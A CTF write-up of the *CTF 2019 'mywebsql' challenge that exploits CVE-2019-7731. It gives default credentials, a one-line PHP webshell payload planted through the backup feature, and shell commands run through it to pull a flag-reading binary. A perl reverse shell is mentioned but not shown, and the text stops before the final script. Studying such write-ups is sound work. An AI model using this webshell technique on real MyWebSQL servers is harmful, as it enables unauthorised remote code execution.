Information#
CTF#
- Name : *CTF 2019
- Website : wpictf.xyz
- Type : Online
- Format : Jeopardy
- CTF Time : link
mywebsql - Web#
OSINT#
Let's find intel about MyWebSQL. We can look for:
- MyWebSQL 3.7 Backup Archive File Remote Code Execution
- CVE-2019-7731 exploit
And finally I found some links:
- CVE found by 0xUhaw and his colleagues (including CVE-2019-7731): https://github.com/0xUhaw/CVE-Bins
- CVE-2019-7731 description: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-7731
- CVE-2019-7731 write-up and PoC: https://github.com/eddietcc/CVEnotes/blob/master/MyWebSQL/RCE/readme.md
Exploit#
Now that I found the PoC of CVE-2019-7731, let's exploit it:
- Login the WebUI with
admin
/admin
. - Created a table
noraj
- Created an entry with value
<?php system($_GET[cmd]); ?>
- Used the
Backup Database
feature and rename the backup file tonoraj.php
- Go to http://34.92.36.201:10080/backups/noraj.php?cmd=id and execute commands in our fresh webshell
Read the flag#
Let's try cmd=/readflag | base64
But the binary that read the flag seems to require interactivity. It is reading the protected /flag
.
Let's get the binary locally: cmd=cat /readflag | base64 | tr -d "\n"
.
Even if not required I managed to get a reverse shell with perl:
Then my mate 0xUKN remembered a CTF challenge that was similar (interact with a binary from a non-interactive shell).
It was the l33t-hoster challenge from Insomni'hack teaser 2019.
As there is perl
of the server and that my perl reverse shell worked fine, I choose to re-use the solution from the CTF team GoN (https://github.com/mdsnins/ctf-writeups/blob/master/2019/Insomnihack 2019/l33t-hoster/l33t-hoster.md) that used a perl script to interact with the binary I/O.
I first tried to inline it and execute it as a one-liner with perl -e
.
This was working but the flag was not printed because it was outputted to STDERR rather than STDOUT.
So I wrote the perl script in a file and executed the script redirecting STDERR to STDOUT: